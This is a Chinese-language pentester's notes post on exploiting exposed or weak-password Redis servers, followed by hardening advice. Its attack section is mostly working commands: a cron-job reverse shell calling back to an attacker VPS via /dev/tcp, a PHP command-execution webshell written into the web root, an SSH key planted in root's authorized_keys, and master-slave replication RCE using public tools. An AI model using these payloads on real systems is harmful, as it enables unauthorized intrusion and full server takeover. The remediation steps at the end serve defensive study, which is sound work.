前言
redis未授权漏洞或弱口令一直是很有用的渗透突破口,最近正好闲的无事就拿redis来测试一些,做一个简单的收集,方便自己日后的回顾。
漏洞描述
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作
环境搭建
Redis下载地址:http://download.redis.io/releases/redis-4.0.2.tar.gz
解压并进入其目录
tar xf redis-4.0.2.tar.gz /n
编译源程序
make
cd src
make install PREFIX=/usr/local/redis
将配置文件移动到redis目录
mv /server/tools/redis-4.0.2/redis.conf /usr/local/redis/ect/
编辑etc中的redis配置文件redis.conf
允许别的主机进行连接
bind 127.0.0.1改为 #bind 127.0.0.1
关闭保护模式
protected-mode yes改为protected-mode no
启动redis服务
/usr/local/redis/bin/redis-server /usr/local/redis/ect/redis.conf
任务计划反弹shell
vps上开启监听
nc -lvp 55555
链接redis
redis-cli -h 10.91.214.205
set x "\n* * * * * bash -i >& /dev/tcp/vps ip/55555 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
写入成功
但vps上并没有反弹成功的信息,查了半天文章发现好像就contos能写任务计划,最后在contos中反弹shell成功。
写webshell
链接redis:
redis-cli -h 10.91.214.205
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET shell "<?php system($_GET['cmd']);?>"
save
写入成功
写密钥
利用条件:
Redis服务使用ROOT账号启动
服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器
cd /root/.ssh/
创建密钥
ssh-keygen -t rsa
密钥保存为1.txt文件
(echo -e "\n\n"; cat 1.pub; echo -e "\n\n") > 1.txt
将密钥写入redis的1中
cat /root/.ssh/1.txt | redis-cli -h 10.91.214.205 -x set 1
链接redis
redis-cli -h 10.91.214.205
get 1
config set dir /root/.ssh/
config set dbfilename authorized_keys
save
写入成功
ssh -i /root/.ssh/id_rsa root@10.91.214.205 #ssh链接
主从复制rce
下载:git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
make进行编译
git clone https://github.com/Ridter/redis-rce.git
python redis-rce.py -r 目标ip-p 目标端口 -L 本地ip -f 恶意.so
so文件是通过RedisModules make生成的
修复建议
1)禁止一些高危命令(重启redis才能生效)
修改 redis.conf 文件,禁用远程修改 DB 文件地址
rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""
或者通过修改redis.conf文件,改变这些高危命令的名称
rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"
2)以低权限运行 Redis 服务(重启redis才能生效)
为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
groupadd -r redis && useradd -r -g redis redis
3)为 Redis 添加密码验证(重启redis才能生效)
修改 redis.conf 文件,添加
requirepass mypassword
(注意redis不要用-a参数,明文输入密码,连接后使用auth认证)
4)禁止外网访问 Redis(重启redis才能生效)
修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
bind 127.0.0.1
在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错。
5)修改默认端口
修改配置文件redis.conf文件
Port 6379
默认端口是6379,可以改变成其他端口(不要冲突就好)
6)保证 authorized_keys 文件的安全
为了保证安全,您应该阻止其他用户添加新的公钥。将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
chmod 400 ~/.ssh/authorized_keys
为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
chattr +i ~/.ssh/authorized_keys
然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 权限:
chattr +i ~/.ssh
7)设置防火墙策略
如果正常业务中Redis服务需要被其他服务器来访问,可以设置iptables策略仅允许指定的IP来访问Redis服务。
参考文章
https://www.freebuf.com/articles/web/249238.html Redis系列漏洞总结